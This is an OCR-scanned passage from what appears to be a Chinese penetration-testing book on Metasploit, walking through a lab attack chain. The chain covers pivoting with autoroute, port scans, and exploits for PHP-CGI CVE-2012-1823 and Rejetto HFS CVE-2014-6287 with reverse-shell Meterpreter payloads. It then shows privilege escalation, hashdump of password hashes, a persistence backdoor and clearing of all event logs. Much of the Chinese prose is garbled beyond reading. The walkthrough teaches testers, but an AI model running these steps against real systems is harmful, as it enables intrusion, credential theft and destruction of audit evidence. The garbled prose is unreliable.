Hardware MAC : 08:00:27:9b:25:al

MTU : 1500

Flags : UP BROADCAST RUNNING MULTICAST

IPv4 Address : 192.168.10.112

IPv4 Netmask : 255.255.255.0

IPv6 Address : feB0::a00:27ff:fedb:25al
IPv6 Netmask : ffff:ffff:ffff:ffff::

Interface 3

Name : ethl

Hardware MAC : 08:00:27:8d:0f:a8

MTU : 1500

Flags : UP BROADCAST RUNNING MULTICAST

IPv4 Address : 192.168.20.5

IPv4 Netmask : 255.255.255.0

IPv6 Address : feB0::a00:27ff:fesd:fa8
IPv6 Netmask : ffff:ffff:ffff:ffff::

Imeterpreter >
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TEAPRRSE LisfTifconfight®, FUUEIRZAMELR, HN—PaT IS RRATHEA
FIARAERRIZE BB R 3L e . 12 T okiztTarpind, &/ NARMZHEAIEHENE 25 H
PRAGUESL T, WP BAT t 4k, R RIRA R IT EFR .

meterpreter > arp
ARP cache

IP address MAC address Interface

192.168.10.118 08:00:27:1b:9c:f9 eth0
192.168.20.1 52:54:00:12:35:00 ethl
192.168.20.4 08:00:27:ee:a5:07 ethl

R, BRI T EE— N PHEHE 47192.168 20 4 FHL, X ie— P ERML I L. N T
BIBIEAXANNERMLS, FFEAEE LB &) EHL L F FHaut orout efir 2RI B BER ( pivoting ).

meterpreter > run autoroute -p
[*] No routes have been added yet
meterpreter > run autoroute -s 192.168.20.0 255.255.255.0
[*] Adding a route to 192.168.20.0/255.255.255.0...
Added route to 192.168.20.0/255.255.255.0 via 192.168.10.112
[*] Use the -p option to list all active routes
meterpreter > run autoroute -p

Active Routing Table

Subnet Netmask Gateway

192.168.20.0 255,255.255.0 Session 1

meterpreter > ||

ﬁﬁﬁautoroute pnn TUTTED%JHjETﬁE/JE%HMn B }J\Epj‘%ﬂgj(ﬁ\rﬁﬁ?mfﬁﬁﬁﬁtfﬂﬁ
M S B o BLAE M) B AR EHLES I — A~ 2 P43 25 /9 B i 30T, W4y 4 M autoroute -s
192.168.20.0 255.255.255.0, %J/\L%Sﬁﬁ/v\ZF, AT A B % I 22 s in 3
HAs EHLA KR T . BUETRA T Metasploitif ] DL i iX 1 Meterpreter 2 i % 1 21| &8 I 25

i Fbackgroundfir2-KiX ~Meterpreter 2 15 V)4 2 5

meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > hosts

Hosts

address mac name os name os flavor os sp purpose info
comments

192.168.10.112 08:00:27:9b:25:al metasploitable Linux server

msf exploit(handler) > [§




28 i1 i Metasploit ik Ml KiE &

REARINAE 28] DU HE R A NN T, 32 T R A~ I 26 TP itk 47192.168.20.419 3
HUfi Fauxiliary/scanner/portscan/tcpfi BIRHGIEAT—Ym D4, Z5R M TFEIR,

msf > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

Name I Current Setting Required Description

CONCURRENCY 10 yes The number of concurrent ports to cH
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-90(
RHOSTS yes The target address range or CIDR idg
THREADS 1 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout in millig

msf auxiliary(tcp) > setg RHOSTS 192.168.20.4
RHOSTS => 192.168.20.4
msf auxiliary(tcp) > run

[*] 192.168.20.4:25 - TCP OPEN
*] 192.168.20.4:23 - TCP OPEN
[*] 192.168.20.4:22 - TCP OPEN

192.168.20.4:21 - TCP OPEN
[*] 192.168.20.4:53 - TCP OPEN
¥] 192.168.20.4:80 - TCP OPEN

TSRl FH 3o AR 35, 5 B 2 KR0S TS YR B HFRIIPHBE, (Y
% MNsetg RHOSTS 192.168.20.4, EEX BN Esetom?, XM RIOSTSINE
BEE AR AY192.168.20.4, MM TCAUR & i AXA 2

AT A REPUTIXAREE . B AT, 7£192.168.20.4 F 41 FizfrHEIRZ MRS, 1 HixX

B EHL L 80w T &AM 55 /b — A B it auxiliary /scanner/http/
http_version A HAR EHLLESONG I Fisf TR, W EFiR,

msf > use auxiliary/scanner/http/http_version
msf auxiliary(http version) > show options

Module options (auxiliary/scanner/http/http_version):

Name Current Setting Required Description

Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier

RPORT 80 yes The target port

THREADS 1 yes The number of concurrent threads

VHOST no HTTP server virtual host

msf auxiliary(http version) > set RHOSTS 192.168.20.4
RHOSTS => 192.168.20.4

msf auxiliary(http version) >

msf auxiliary(http_version) > run

[*] 192.168.20.4:80 Apache/2.2.8 (Ubuntu) DAV/2 ( Powered by PHP/5.2.4-2ubuntu5.10 )
*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed
|nsf auxiliary(http version) >

BRI is AT 2, T ANAE EAL80N 1 Fas AT A IE S f N i AT Y Apache 2.2 .8 IR 55 %5
WX LG HEATARSE, TN 1A I I PHP 5.2 4RRAS A e TR 0, AT AR 3 3R BOs B AR
%\Z‘L E‘Jij”ffﬁﬂ o
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1.13 PHP-CGI| ZiFFEESE /AN S

HARTHEHL E A4 5 CVE id 2012-1823, 583414 F N PHP-COIEAF RS HIRE
( PHP-CGI query string parameter vulnerability ), HRHEPHP £ T {5 B, 24PHP{# & TCGIAYI &
(4nApacheffimod_cgid ) B}, php-cgii S — NI FEAF RS ENE SIS (XS 1T
ST -s | -amliH - ), RS oL Flphp-cgift 5, M S 2B AS 28 AL ARSI T,
R, —ANERRE | RS T AT DS R E B, R BARTHRNR T TDoS T
B UG WeblI 55 as P TAE A R O ABR o

49Jj[alhttp://localhost/index.php?-sif , Z il 2 SRS TR . XRE—AHF WR .
HFRESEREG E %15 8, 5 F https://www.rapid7.com/db/modules/
exploit/multi/http/php_cgi arg_injection/,
BIBIRRAN G IS IBEER
IR T XN E R . 1 A MetasploitH 53X/l A PE R A9

msf > search "php 5.2.4"

P& okl ] ATE D BCREER S R b PR B B 1B i e, R R

| lexploit/multi/http/php cgi arg injection| 2012-05-03 excellent PHP CGI Argument Injection

BAE 2R A MetasploitH DT R AR BRI AN 788, R ER

msf auxiliary(http version) > use exploit/multi/http/php_cgi_arg_injection
msf exploit(php cgi arg injection) > show options

Module options (exploit/multi/http/php_cgi_arg _injection):

Name Current Setting Required Description

PLESK false yes Exploit Plesk

Proxies no A proxy chain of format type:host:port[,type:host:port][.
-

RHOST yes The target address

RPORT 80 yes The target port

TARGETURI no The URI to request (must be a CGI-handled PHP script)

URIENCODING © yes Level of URI URIENCODING and padding (0 for minimum)

VHOST no HTTP server virtual host

Exploit target:

Id Name

0  Automatic

msf exploit(php cgi arg injection) >
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M Z N XA BERPBCE A R E, PR,

msf exploit(php cgi arg injection) > set RHOST 192.168.20.4
RHOST => 192.168.20.4
insf exploit(php_cgi_arg injection) > show options

Module options (exploit/multi/http/php_cgi_arg_injection):

Name Current Setting Required Description

PLESK false yes Exploit Plesk

Proxies no A proxy chain of format type:host:port[,type:host:port][.
Iy

RHOST 192.168.20.4 yes The target address

RPORT 80 yes The target port

TARGETURI no The URI to request (must be a CGI-handled PHP script)

URIENCODING © yes Level of URI URIENCODING and padding (0 for minimum)

VHOST ne HTTP server virtual host

Exploit target:

Id Name

0  Automatic

msf exploit(php_cgi arg injection) > show payloads

i Ashow payloadsfii?r, /s YRTEBEAHOT DM A2, KR,

msf exploit(php cgi arg injection) > show payloads
ICompatible Payloads

Name Disclosure Date Rank Description

generic/custom normal Custom Payload

generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inli
ne

generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP I
nline

php/bind_perl normal PHP Command Shell, Bind TCP (via Per
L)

php/bind_perl_ipvé normal PHP Command Shell, Bind TCP (via per
1) IPv6

php/bind_php normal PHP Command Shell, Bind TCP (via PHP
)

php/bind_php_ipv6 normal PHP Command Shell, Bind TCP (via php
) IPv6

php/download_exec normal PHP Executable Download and Execute

php/exec normal PHP Execute Command

php/meterpreter/bind_tcp normal PHP Meterpreter, Bind TCP Stager

php/meterpreter/bind_tcp_ipvé normal PHP Meterpreter, Bind TCP Stager IPv
6

php/meterpreter/bind_tcp_ipvé_uuid normal PHP Meterpreter, Bind TCP Stager IPv
6 with UUID Support

php/meterpreter/bind_tcp_uuid normal PHP Meterpreter, Bind TCP Stager wit
lh UUID Support

php/meterpreter/reverse_tcp normal PHP Meterpreter, PHP Reverse TCP Sta
ger

php/meterpreter/reverse_tcp_uuid normal PHP Meterpreter, PHP Reverse TCP Sta

A A R OR T R AT DU R Sl e, A FRATTIE R R T — A Hgeneric/
shel l_bind_tcpﬁ[ﬂ}ﬁﬁﬁ]ﬁ%ﬁ?ﬁj{\ Ei?ﬁE{"Jphp/meterpreter/reverse_tcpﬁ[ﬂiﬁfﬁo
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sf exploit(php _cgi arg injection) > set payload php/meterpreter/reverse_tcp
ayload => php/meterpreter/reverse_tcp
sf exploit(php _cgi arg injection) > show options

E?é exploit(php_cgi arg injection) >

Module options (exploit/multi/http/php_cgi_arg_injection):

Name Current Setting Required Description

PLESK false yes Exploit Plesk

Proxies no A proxy chain of format type:host:port[,type:host:port][.
RHOST 192.168.20.4 yes The target address

RPORT 80 yes The target port

TARGETURI no The URI to request (must be a CGI-handled PHP script)
URIENCODING © yes Level of URI URIENCODING and padding (0 for minimum)
VHOST no HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

Name Current Setting Required Description

LHOST yes The listen address
LPORT 4444 yes The listen port

Exploit target:
Id Name

0  Automatic

5, BLHOSTS BRI EBCE NWAYLAYIPHIEE, 4n7F KR o

msf exploit(php cgi arg injection) > set LHOST 192.168.10,118
LHOST => 192.168.10.118

msf exploit(php cgi arg injection) > I

o

BUAE C 2 X XA IR R SS 2t A T B BT R T, T REAB BN

msf exploit(php cgi arg injection) > exploit

[*] Started reverse TCP handler on 192.168.10.118:4444
[*] Sending stage (33068 bytes) to 192.168.10.111

[*] Meterpreter session 2 opened (192.168,10.118:4444 -> 192,168.10.111:6963) at 2016-03-21 09:49:04
-0400

meterpreter >

T

TR FRATIAE O LI 7 T IPHINE 4 192.168.20.41 INE 2R 4: . IAEIZFT LN R B BmL,
Felniigetwd, XA HS flpwaffA%, #B2FRH 2400 HRAY. getuiafr SRS FTENH T
TAVERB P ZFR, shel 1n 2 FHHARG AAR RS - Ashell#z i

BIRATIEA TshellZ )5, il izt &G (Hiliiuname -a) SKRAEF Y71 RGN
WA o [RIRE AT Fwget flchmodSE a4 o 1] MG FRATFESE — " RGPS TIRREE , ¥ shellfip 4
11T I Meterpreterfit 217, FHERIEES S THIT X a4 a0,
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meterpreter > getwd

/var/www

meterpreter > pwd

/var/www

meterpreter > getuid

Server username: www-data (33)
meterpreter > shell

Process 5060 created.

Channel 0 created.

uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

AR L FIPHP MeterpreterfR 15—~ @ 3 (94 Hl 7 =X, 7598 0T LUl FiMeterpreter (1)
wget fir 2 B # downloadfir A ¥fixbackdoor.elf LI F #3 HARIR 5548 | o X — 2 0HE F ok B

FARTTRYLAARPE 32, (HIEFATICIL (L HIPHP Meterpreter (31X —

GBI IRIALA]

M IR A

7E HARTHEAL U Thackdoor.elf U, S0f s 3@ E—-Meterpreterifil, W1 F EI PR .

meterpreter > arp

[-1 Unknown command: arp.
meterpreter > arp

[-]1 Unknown command: arp.
meterpreter > ifconfig

[-1 Unknown command: ifconfig.
meterpreter > shell

Process 5070 created.

Channel 1 created.
./backdoor.elf

FE— A0S 1 e B AT — B B Yehandler, SERFRDKE BRI SR, THIZAH T4

backdoor.elf SCAFHATRT, S5 T TR N B ARIESZ B IRAT R G A9 ERAE

msf exploit(handler) > exploit

Started reverse TCP handler on 192.168.10.118:4444

Starting the payload handler...

Transmitting intermediate stager for over-sized stage...(105 bytes)
Sending stage (1495599 bytes) to 192.168.10,111

-0400
meterpreter > ifconfig
\
Interface 1 I

Name : lo
Hardware MAC : 00:00:00:00:00:00
MTU : 16436

Flags : UP LOOPBACK RUNNING

IPv4 Address : 127.0.0.1

IPv4 Netmask : 255.0.0.0

IPv6 Address : ::1

IPv6 Netmask : ffff:ffff:ffff . FFff . FRFF . FFFF . FFFF.FFFF

Interface 2

IName : ethe

Hardware MAC : 08:00:27:ee:a5:07

MTU : 1500

Flags : UP BROADCAST RUNNING MULTICAST

IPv4 Address : 192.168.20.4

IPv4 Netmask : 255.255.255.0

IPv6 Address : fe80::a00:27ff:feee:a507
IPv6 Netmask : ffff:ffff:ffff.ffff::

meterpreter > [

1
1
1
1
| Meterpreter session 1 opened (192.168.10.118:4444 -> 192.168.10.111:6969) at 2016-03-21 09:56:05
[:]
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WATIAEC St T B B REFIHARPR TINE, DB 3 H £
ARl FHZH TMEER.

meterpreter > arp

IP address MAC address Interface

192.168.20.1 52:54:00:12:35:00 eth0
192.168.20.5 08:00:27:8d:0f:a8 eth0
192,168,20.6 08:00:27:ff:e0:ef etho

meterpreter > I

FATEARPE IR B T H/b—E 0 T HERMIZS | IPHihE4192.168.20.6/ 4L, ANIBEE LT
WA — A X Mg T, ARRITE &S —6 EHLERIE T, Bk, RS
[ Metasploitfir A TRIT] . #IEAE ML, FATE LA T =M Meterpreter2siifi, WIF KR

|nsf exploit(handler) > sessions -i

Active sessions

Id Type Information
Connection
1 meterpreter x86/linux uid=0, gid=0, euid=0, egid=0, suid=0, sgid=0 @ meta
sploitable 192.168.10.118:4444 -> 192.168.10.112:37067 (192.168.10.112)
2 meterpreter php/php www-data (33) @ metasploitable
192.168,10.118:4444 -> 192,168.10.111:6993 (192.168,20.4)
4 meterpreter x86/linux wuid=0, gid=0, euid=0, egid=0, suid=0, sgid=0 @ meta
sploitable 192,168,10.118:4444 -> 192.168,10.111:7011 (192,168.20.4)

|msf exploit(handler) > | |

BESRC A T — 5B B B EVUITTE M E8 1 el IR A80%5192.168.20.63% 15 LT —
YRTCPSi =, a0 R B s ik auxiliary /scanner/portscan/tcpe

sT > use aullllaryfscannerjpnrtscanftcp
st auxiliary(tcp) > show options

Module options (auxiliary/scanner/portscan/tcp)

Name Current Setting Required Description

CONCURRENCY 10 yes The number of concurrent ports to check per host
PORTS 1-160000 yes Ports to scan (e.q. 22-25,80,110-900)

RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads T
TIMEOUT 1000 yes The socket connect timeout in milliseconds

st auxiliary(tcp) > set RHOSTS 192.168.20.6
RHOSTS => 192.168.20.6
sf auxiliary(tcp) > set THREADS 10
THREADS => 10
f auxiliary(tcp) > run

192.168.20.6:21 - TCP OPEN
192.168.20.6:80 - TCP OPEN
192.168.20.6:135 - TCP OPEN
192.168.20.6:139 - TCP OPEN
192.168.20.6:445 - TCP OPEN
192.168.20.6:5985 - TCP OPEN

192.168.20.6: 8080 - TCP OPEN

Scanned 1 of 1 hosts (108% complete)
Auxiliary module execution completed
auxiliary(tcp) >
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FAMACE 2] T DEILA TR G 1 o 32T R i Metasploit A% iz T EL X Ui 1 F-ak
ﬁgtiémﬂﬁfﬂTwo ﬁfﬁﬁaux1llary/scanner/http/http_headerﬁﬁﬂﬁﬁ%tﬁXTEﬁ$ﬁﬂ@80$ﬂ8080‘ﬁ
T, DR BAEX P st AR 55 o

msf > use auxiliary/scanner/http/http_header

msf auxiliary(http_header) > set RHOSTS 192.168.20.6
RHOSTS == 192.168.20.6

msf auxiliary(http_header) > set HTTP_METHOD GET
HTTP_METHOD == GET

msf auxiliary(http_header) > run

[*] 192.168.20.6:80: CONTENT-TYPE: text/html I

[*] 192.168.20.6:80: SERVER: Microsoft-IIS/B.5

[*] 192.168.20.6:80: X-POWERED-BY: PHP/5.3.28, ASP.NET
192.168.20.6:80: detected 3 headers

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(http_header) > set RPORT B080

RPORT => 8080

msf auxiliary(http_header) > run

[*] 192.168.20.6:8080: CACHE-CONTROL: no-cache, no-store, must-revalidate, max-age=-1

[*] 192.168.20.6:8080: CONTENT-TYPE: text/html

[*] 192.168.20.6:8080: SERVER: HFS 2.3

[*] 192.168.20.6:8080: SET-COOKIE: HFS_SID=0.586773571325466; path=/;
192.168.20.6:8080: detected 4 headers

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(http_header) > I

M EEREE T LIER], 78 BARTENLR80%: [ s 75 BoprIIS 8.5, L%e/\ﬁﬁxﬁ%‘%
BIIIRSS A, ISR EX RS 4 A S far il o Aad, FRATIES080% 1 A T s
FHHRIHFS 2.3, XM EAAEE — DR BRI TN

1.14 HFS 2.3 FRIRES

HRAECVE-2014-628714#iiA , RejettoMIZSCIFARSS #% (WgiFR WHFS# HttpFileServer ) (1)
23xfA (2.3cARTHURRA ) " HyparserLib.pas SCHA# T —> findMacroMarker PREL, %1
5 FparserLib.pas UV AT IERRAL BLAS 77 o LRI 3 mT 5 B8 R A T 1 %00 751 F FH 12 0%
TAHPA TR F .

N T I TR Y PR

function findMacroMarker (s:string; ofs:integer=1):integer;
begin result:=reMatch(s, "\{[.:]I1[.:I\}I\I', 'm!', ofs) end;

XA PRECN BB IEAf AL T2 5275, Fir LA 43R4 T http:/localhost:80/search=%00{ .execlemd. }
TR, Wi F IR0 R E AT, i Bon A A

windows/ http/rejetto_hfs_exec,

0 A R IIANBHERER E %13 8, , 7% Flhttps://www.rapid7.com/db/modules/exploit/
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SIERRFESERR

e fEMetasploitHP i F sear chfin & KA FR FTHFS 2.3k %5 #5 L iw i AH VT EC 33 B e,
E3)5 NS

msf > search hfs

Matching Modules

Name Disclosure Date Rank Description

exploit/multi/http/git_client_command_exec 2014-12-18 excellent Malicious Git and Mercurial HTTP Server For CVE-201
4-9390

exploit/windows/http/rejetto_hfs_exec 2014-09-11 excellent Rejetto HttpFileServer Remote Command Execution

msf > use exploit/windows/http/rejetto_hfs_exec

msf exploit(rejetto_hfs exec) > set RHOST 192.168.20.6
RHOST => 192.168.20.6

msf exploit(rejetto_hfs exec) > show payloads

[

TTLLER], 1\/Ietasploit':fj Bexploit/windows/http/rejetto_hfs_exechidn] DL PLHLIX
A BRI . AR Husefir 2R BAX ML, SREHREOSTSEINIEBE H HAR EHLIIIP,
P RPORTIE R AE 8080, I MUK I i 2 far 5 B Hwindows /meterpreter/reverse_tcp,
HrosTHER E NN TAWIPHILE, LPORTHER B 4444 (SCFEALMI AT LME Ao H ). ST
RIA B SR Z G, $ii Ashow optionsfrd KA 275 T BIEITAR N & 1IEf .

msf > use exploit/windows/http/rejetto_hfs_exec
msf exploit(rejetto_hfs_exec) > show options

Module options (exploit/windows/http/rejetto_hfs_exec):

Name Current Setting Required Descriptien

HTTPDELAY 10 no Seconds tp wait before terminating web server

Proxies no A proxy chain of format type:hest:portl, type:host:portl[...]
RHOST 192.168.20.6 yes The target address

RPORT 80 yes The target port

SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.

SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURL / yes The path of the web applicatioen

URTPATH no The URT to use for this exploit (default is random)

VHOST ne HTTP server virtual host

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.10.118 yes The listen address

LPORT 4444 yes The listen port

Exploit target:

Id Name

0  Automatic

msf exploit(rejetto_hfs_exec) > set RPORT 8080
IRPORT => BOBO
msf exploit(rejetto hfs exec) > exploit I

B B Tk, 3 PR LMl Fexploit X HARRGEHATBIE T, W N EFTR,



KA

36 % 1% AU Metasploit 5150 KAE R

exploit{rejetto_hfs_exec) = exploit

[*] started reverse TCP handler on 192.168.10.118:4444

[*] Using URL: http://0.0.0.0:8080/gNfhmXqQh

[*1 Local IP: http://192.168.10.118:8080,/gNfbmX0oh

[*] Server started

[*] Sending a malicious request to /

I*] 192.168.10.102 rejetto_hfs_exec - 192.168.20.6:8080 - Payload request received: /gNfbmxgh

[*] sending stage (957487 bytes) to 192.168.10.102

I*1 Meterpreter session 5 opened (192.168.10.118:4444 -> 192.168.10.102:25914) at 2016-03-22 05:58:11 -0400
Tried to delete %TEMP%\awrqMaIupYlo.vbs, unknown result

[*] Server stopped

peterpreter B |
FAHIZE A TE Ll T MRS 2. 1 F et

—BIE Z R IS, AR R

meterpreter > sy51nfu

Computer WIN-3K0UZTIJMEQ

0S : windows 2012 R2 (Build 9600).
Architecture x64 (Current Process is WOW64)
System Language : en_US

Domain : WORKGROUP

Logged On Users : 6

Meterpreter x86/win32

meterpreter > getuid
Server username: WIN-3KOU2TI.MEO@\Administrator

meterpreter > getsystem
.got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter >

TATE LW LLE TR B B 115

T Windows Server 2012 R G IR . 22 F Sk A—4>
getsystemfr S HRFHERIIASR . W TFERTLIEH, BAERABRELHARNRERER.

T ORA AT IR B S, PUT AR B &MY, Willgetpidflips. pshitdh]
DU ZR YHTIEEB T RSN 3R , Mgetpidfn4 n] LAk i Meterpreter IE7ESE B AU HERR 5, 4R 14
7R o

[meterpreter > getpid
Current pid: 2036
meterpreter > ps
Process List I
PID PPID Name Arch Session User Path
[:] [:] [System Process]
4 ] System x64 o
228 4 SMSs.exe x64 o
264 464 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
308 300 csrss.exe x64 0O
316 464 spoolsv.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\spoolsv.exe
360 352 CSrss.exe x64 1
368 300 wininit.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\wininit.exe
400 352 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\winlogon.exe
464 368 services.exe x64 0
472 368 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsass.exe
528 464 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
556 464 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
656 400 dwm.exe x64 1 Window Manager\DWM-1 C:\Windows\System32\ dwm. exe
668 464 VBoxService.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\VBoxService.exe
748 464 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\W1ndnws\5ystem32\svchnst.exe
788 464 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
832 464 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
908 164 svchost.exe x64 [] NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe
1044 464 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
1084 464 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
1104 464 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
1380 464 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
1688 1820 ServerManager.exe x64 1 WIN-3KOU2TIJME@\Administrator C:\Windows\System32\ServerManager.exe
1760 2208 wscript.exe x86 1 WIN-3KOU2TIJ4EO\Administrator C:\Windows\SysWOW64\wscript.exe
1792 788  taskhostex.exe x64 1 WIN-3KOU2TIJ4EO\Administrator C:\Windows\System32\taskhostex.exe
1864 1808 explorer.exe x64 1 WIN-3KOU2TIJ4E@\Administrator C:\Windows\explorer.exe
2036 1760 eIJDRPTHQ.exe x86 1 WIN-3KOU2TIJ4E0\Administrator C:\Users\ADMINI~1\AppData\Local\Temp\radE1801.tm
p\eIIDRPTHQ. exe
2096 1864 VBoxTray.exe x64 1 WIN-3KOU2TIJME@\Administrator C:\Windows\System32\VBoxTray.exe
2152 1864 KMFtp.exe x86 1 WIN-3KOUZTIJ4E@\Administrator C:\Program Files (x86)\KONICA MINOLTA\FTP Utilit
y\KMFip.exe
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M HiiMeterpreterdt: f (25292036, XN T A elIDRPTHQ.exe,  UNAR—ME 3 1 25 5
TR, AT Meterpreter 23 TH 215 1k, L, FRATHEN EIE R 8 — B A E AR
b, XFEA BRI BE O IR AG o explorer.exe IR — MRBIFIVIER:, KA Meterpreterit
BRE Ll ERE— DT WindowsHE R G EEURE, WFERFR,

meterpreter > migrate 1864

[*] Mmigrating from 2036 to 1864...
[*1 Mmigration completed successfully.
meterpreter > getpid

Current pid: 1864

TR Z 5, il Agetpidfin £ & Meterpreter TR IR, 40 IR, ] LU
hashdump i S WEEBHE B RS LER AR E, XM d R T E R,

meterpreter > hashdump

Administrator:500: aad3b435b51404eeaad3b435b51404ee: 01c714f171b670ce 817191 2d07812470: ; ;
Guest:501:aad3b435b51404eeaad3ba35b51404ee: 31d6cfend16ae931b73c59d7e0c089c0: : :

mm: 1001 : aad3b435b51404eeaad3b435b51404ee : d2f717a89953203539F48fa076a11584: : :
meterpreter >

T T A ENBEEZ I, 0T LI  Tpass-the-hash Uiy, 76 BAT B SCE RS A I O T Seid
Fi il

A % Windows#4F % 4R 49 ¥ % 13 8, 4 7% 19 http://www.cvedetails.com/

vendor/26/Microsoft.html,
0 AL 5T VA 37 19) http://www.cvedetails.com/top-5-vendors.php?year= & 3% B % T #
TS50 K ERAFFRBE R 69 iR AZ B o

1.15 EEIFEITHIFE AL

MR IBE A BRI EALLLG , WT e T 2 B AU il o R4 dnfal e SRt
bR AL R A 2 T R TS — s, TR RRE B AR THEAL L B in—A
B, AT LABERRff HIMetasploitt fpersistencefbidh,

i8frpersistence B n] LU 7E H AR 22— AR ALY TR S35 Ta) 2 il 1)
Rl ke, RIMEA—K AbRHRAUEAN TR, AR T U g ok S H bRt
SERLROFER o PRAT B2 FIPRA T J FOASCR T T ) SR R P A /s o

meterpreter > run persistence
[*] Running Persistance Script
I*] Resource file for cleanup created at /root/.msf5/logs/persistence/WIN-3KOU2TIJ4E® 20160322.2110/WIN-3K0U2TIJME0_20160322. 2
110.rc
[*] creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.10.118 LPORT=4444
[*] Persistent agent script is 148412 bytes long

Persistent Script written to C:\Users\ADMINI~1\AppData\Local\Temp\CUvIFuzPv.vbs
[*] Executing script C:\Users\ADMINI~1\AppData\Local\Temp\CUvIFuzPv.vhs

Agent executed with PID 2060
meterpreter > I




38 % 1% AU Metasploit 5 &M KAE S

izfpersistencelBel 2z HARTHAHLEAL—A> vbs R ABRIMATSCF, F-AE HFRTT5
AL AT XA BIAA SO o X AMAA S — BAE BRI AL sty SRR shatss 2 8h ik
BIGEFE BTl XSG RIAAS 2B — D R GRS 25 AR AR G, [Fmt2:
BEASIMBIFHUR S, Nk, JEie BARHENLERE sh2 R, 0GR IRGsEaT ListT. BRAE
1% 55 B BRSO, IR 55 B — BAFAE

h T ERER BEREALE RS SRS IR E R VI, AR LS — M2 iEhandler Xt
VERE TP, exploit/multi/handler/&— 8 FAY8 iBhandler, 5 S HbRTEML LigfT
H Bt e 5 Bt TR ] 0 4% . AT THEMetasploitfi 2 i - iy A i K124 1iX T handler
PUAT A2 FRA T 5 B8R QT T A 5 e PR I

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows /meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.10.118

LHOST => 192.166.10.118

msf exploit(handler) > set LPORT 4444

LPORT => 4444

msf exploit(handler) > exploitf]

AR B —AS e S, TR T8 B i s 2R A A L PORTIE I A iz f Tpersist ence bt ik
B 2 A L PORTIE I AR ]

KBt S exploit)a, exploit/multi/handler FUR25 A5 M H AR RS0 [ & DR AEE: .
B ANBERER R, 42 ] 2ot S V4 8 Meterpreter i 217

0 X P — & T 4o fT £ Meterpreter/s 11 ¥ 4% Fl metsve 8 4. https:/www.

offensive-security.com/metasploit-unleashed/meterpreter-backdoor/,,

1.16 EREEIRIE

TEE e M — U APR RSB BN, PR AR R T BT IR ARG B o
A IARIEARAT T VAT RGBS, BUURA EEER R SE H SRR, XRE i BASIE AT LU ]
XL HARSGE R, R AGES SN TR ARG . G, R JAT IR e n]
PATSCHFRLZBMER . A, FA TR~ T ERIRIE . S 19234~ F Y, AT 2
S EERBRRYUERF H K.

meterpreter > run event_manager -i
[*] Retriving Event Log Configuration

Event Logs on System

=z======z==z==szz=== I

Name Retention Maximum Size Records
Application Disabled 20971520K 887
HardwareEvents Disabled 20971520K 0
Internet Explorer Disabled K 0

Key Management Service Disabled 20971520K 0
Security Disabled 20971520K 1746

System Disabled 20971520K 1223
Windows PowerShell Disabled  15728640K 86
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TEX AT AR B R RS H . BRATHSE-ORMBREAT.

meterpreter > run event_manager -c

[-]1 You must specify and eventlog to query!
[*] Application:

[*] Clearing Application

[*] Event Log Application Cleared!

[*] HardwareEvents:

[*1 Clearing HardwareEvents

[*] Event Log HardwareEvents Cleared!

[*] Internet Explorer:

[*]1 Clearing Internet Explorer

[*] Event Log Internet Explorer Cleared!
[*1 Key Management Service:

] Clearing Key Management Service

1 Event Log Key Management Service Cleared!
1 Security:

1 Clearing Security

1 Event Log Security Cleared!

1 System:

1 Clearing System

] Event Log System Cleared!

FATELSER T X HARR 4 IR — UGB @A, 42 F R al AGREE A iUtk 2 & R i
o TERTR BN, BATLAE I N EE A, B LUK E A 7 — Dl Lo (R AESPR T
Y, w256 A bR R GEHEA T 2 AT, DLUSIE H AR R G0 B A BT e o

] LIFEMeterpreterfiy 247 4 A c Learvin 2 bR B AR KRGS H &

1.17 BN RIIE
BAER EES— TR BN
(1) FERIFARIIHE i HINMAPXT H AR T— U4
(2) B EFRH R 156 0 8173 VSFTPD 2.3.4, 30K 7E TR
